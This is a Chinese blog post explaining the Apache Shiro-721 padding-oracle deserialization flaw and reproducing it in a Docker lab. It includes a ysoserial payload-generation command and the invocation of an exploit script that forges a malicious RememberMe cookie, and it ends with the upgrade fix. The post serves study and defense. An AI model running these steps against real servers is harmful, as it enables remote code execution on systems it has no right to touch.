首页 > 数据库 >Apache Shiro 721反序列化漏洞Padding Oracle Attack

Apache Shiro 721反序列化漏洞Padding Oracle Attack

时间:2024-05-05 19:11:05浏览次数:40  
标签:加密 Padding RememberMe Cookie 721 Oracle 序列化 Shiro

目录

漏洞原理

Shiro 的RememberMe Cookie使用的是 AES-128-CBC 模式加密。其中 128 表示密钥长度为128位,CBC 代表Cipher Block Chaining,这种AES算法模式的主要特点是将明文分成固定长度的块,然后利用前一个块的密文对当前块的明文进行加密处理。

这种模式的加密方式容易受到 Padding Oracle Attack 的影响。如果填充不正确,程序可能会以不同的方式响应,而不是简单的返回一个错误。然后攻击者可以利用这些差异性响应来逐个解密密文中的块,即使他们没有加密的密钥。

总之就有点类似于盲注,攻击者可以利用这一点来进行尝试,精心构造RememberMe Cookie执行反序列化,无需知道RememberMe加密的密钥。

Shiro721 和 Shiro550 的差异?

Shiro721和Shiro550一样,都是生成恶意RememberMe Cookie反序列化执行代码,不同之处是RememberMe Cookie的生成方式。

shiro550 序列化利用需要知道AES加密的key,使用这个key直接构造Pyload。

Shiro721 序列化是利用已登录用户的合法RememberMe Cookie值,然后从密码学的角度来攻击,构造Pyload。

复现

影响版本:Apache Shiro 1.2.5、1.2.6、1.3.0、1.3.1、1.3.2、1.4.0-RC2、1.4.0、1.4.1

环境搭建:

git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721

浏览器访问靶机 8080 端口:

image

使用已有用户登录,得到 RememberMe Cookie:

image

使用反序列化工具 ysoserial 生成Payload,利用链Payload选择 CommonsBeanutils1:

java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

这里使用其他师傅@3ND写的 shiro_exp.py 脚本,通过 Padding Oracle Attack 生成Rememberme Cookie:

python2 shiro_exp.py "http://192.168.88.150:8080/login.jsp" "Wd7Qotkee8tUDoziz3zSYud6BkDsHoFAhDGQ/ay2itmy6DRKk3/XCtlpN8DOr6NsVMvbpvEQeUG2+2nf86yHK52ugDzC9v7T0jF3a/SDg0rTpBsaFoJ7647C8sEhbsxno6pu/mpKWqg6Ii6zH/yUIJaRswCMEw/YWH5C36FeASHK8FOEl0CZyi1wcdgHlQAeaRH/U2vOv3Y0aMGkMf/D6Da9gofvfXLHx1TP3V6EyzO5Fnd/22H33oRLf5D/48b8uFfiA3QMzcaTML3U9foQRiSiYOp5Wr2ghBLU4HvqIM2YF7bIyAwWfr9+Zaa/JvwWjGYSbrXS0ay8G8oVP94ijDtVxXjLotx75eP0ahdXuO0AsEwe7a7nMgpwVStpz7igSBCjnJHeB5ZHEI6s7md30rltU99FtsjyOLBxYy6LryJTqmGokpk8sbbxch6Qefmx0xdob6/EFM8S0rn3mF48T0n6LfKlUZw3RjNG8B42Tba46k9gkvsFM40QJNNJWCp5" poc.ser

这个 exp 爆破时间有点长:

image

将得到的这个Rememberme Cookie替换到Cookie处发送:

需要注意的是,这里原本的JSESSIONID要删除掉,否则服务器不会进行反序列化操作。

image

进入到我们的靶机docker环境中,可以看到 /tmp/success 文件已经成功创建,利用成功。

image

修复方式

升级到 Shiro1.4.2 版本(Shiro1.4.2版本后,Shiro的加密模式由AES-CBC更换为AES-GCM)

参考文章:
https://github.com/inspiringz/Shiro-721
https://github.com/luckyfuture0177/VULOnceMore/blob/main/Java框架/CVE-2019-12422shiro-721Oracle填充攻击.md
https://issues.apache.org/jira/browse/SHIRO-721


若有错误,欢迎指正!o( ̄▽ ̄)ブ

标签:加密,Padding,RememberMe,Cookie,721,Oracle,序列化,Shiro
From: https://www.cnblogs.com/smileleooo/p/18171246

相关文章

  • Apache Shiro 550反序列化漏洞
    目录漏洞原理复现漏洞探测方式一ysoserial反弹shell方式二ShiroAttack2一键利用修复措施ApacheShiro是一个用于身份验证、授权、加密和会话管理的Java安全框架。ApacheShiro550是个反序列化漏洞,漏洞编号为CVE-2016-4437。漏洞原理Shiro框架提供了一个RememberMe功能,允许......
  • [转帖]10 Hardware Components of Oracle Exadata
    https://docs.oracle.com/en/engineered-systems/exadata-database-machine/dbmso/hardware-components-exadata-db-machine.html#GUID-EBA9369F-A2AB-449F-A361-40F48A5B37C2 OracleExadata consistsofdatabaseservers,storageservers,andthenetworkcomponent......
  • Oracle之数据库一致性读的原理
    1.概述在Oracle数据库中,undo主要有三大作用:提供一致性读(ConsistentRead)、回滚事务(RollbackTransaction)以及实例恢复(InstanceRecovery)。2.原理一致性读是相对于脏读(DirtyRead)而言的。假设某个表T中有10000条记录,获取所有记录需要15分钟时间。当前时间为9点整,某用户A发出一条......
  • Oracle23ai 数据库的简单验证
    Oracle23ai数据库的简单验证背景2024年5.1期间发现有公众号再说Oracle23c使用容器方式进行安装的感觉可以试用把玩一下.简单安装dockerpullcontainer-registry.oracle.com/database/free:latest运行timedockerrun-d--nameoracle23ai-horacle23ai\--net......
  • 一个demo快速理解序列号和反序列化
    一个demo快速理解序列号和反序列化分享一个例子用来快速理解序列化和反序列化其实序列化和反序列化就是为了交换数据,(简单粗暴的理解就是把运行中的对象存进文件里面)importjava.io.*;publicclassMain{publicstaticvoidmain(String[]args)throwsException{......
  • php反序列化gc
    通过一道题来边看边讲php中的zval容器和gc回收机制ezpop<?phperror_reporting(0);highlight_file(__FILE__);classAAA{public$s;public$a;publicfunction__toString(){echo"youget2A<br>";$p=$this->a;r......
  • Oracle 区块链快速启动指南(全)
    原文:zh.annas-archive.org/md5/acadfed886db9b7419ae428193b122c0译者:飞龙协议:CCBY-NC-SA4.0前言本书的创作基于这样一种信念:我们将共同积极促进区块链技术的发展,并不断激励其他人分享他们的经验,并进一步影响其他人这样做。在本书中,我们将做以下事情:探索分布式分类账技......
  • Oracle日志记录模式 - LOGGING、FORCE LOGGING、NOLOGGING模式介绍
    一、日志记录模式(LOGGING、FORCELOGGING、NOLOGGING)内容转载自:https://www.cnblogs.com/tk-bolg/p/12867772.html1.三者的含义LOGGING:当创建一个数据库对象时将记录日志信息到联机重做日志文件。LOGGING实际上是对象的一个属性,用来表示在创建对象时是否记录REDO日志,包括......
  • Oracle中sysdate函数的个别用法举例
    1.什么是sysdate在Oracle中sysdate是一个函数,可直接调用sysdate,返回运行数据库的操作系统的当前日期时间。注意:返回的日期时间值的格式取决于NLS_DATE_FORMAT参数的值。sysdate的单位是天。2.sysdate用法举例2.1sysdatesysdate-A型,这种结果是天数,代表往前推A天;SELECT......
  • 使用 docker-compose 部署 oracle19c
    目前应该很少有公司再使用oracle11gR2版本了,官方在2020-12-31日后就停止支持和维护了,绝大多数公司应该都升级到oracle19c版本了。因此当前oracle数据库中使用最多的版本就是oracle19c了,但是官方对其支持和维护的截止日期是2026-3-31。其实即使官方停止技术支持和......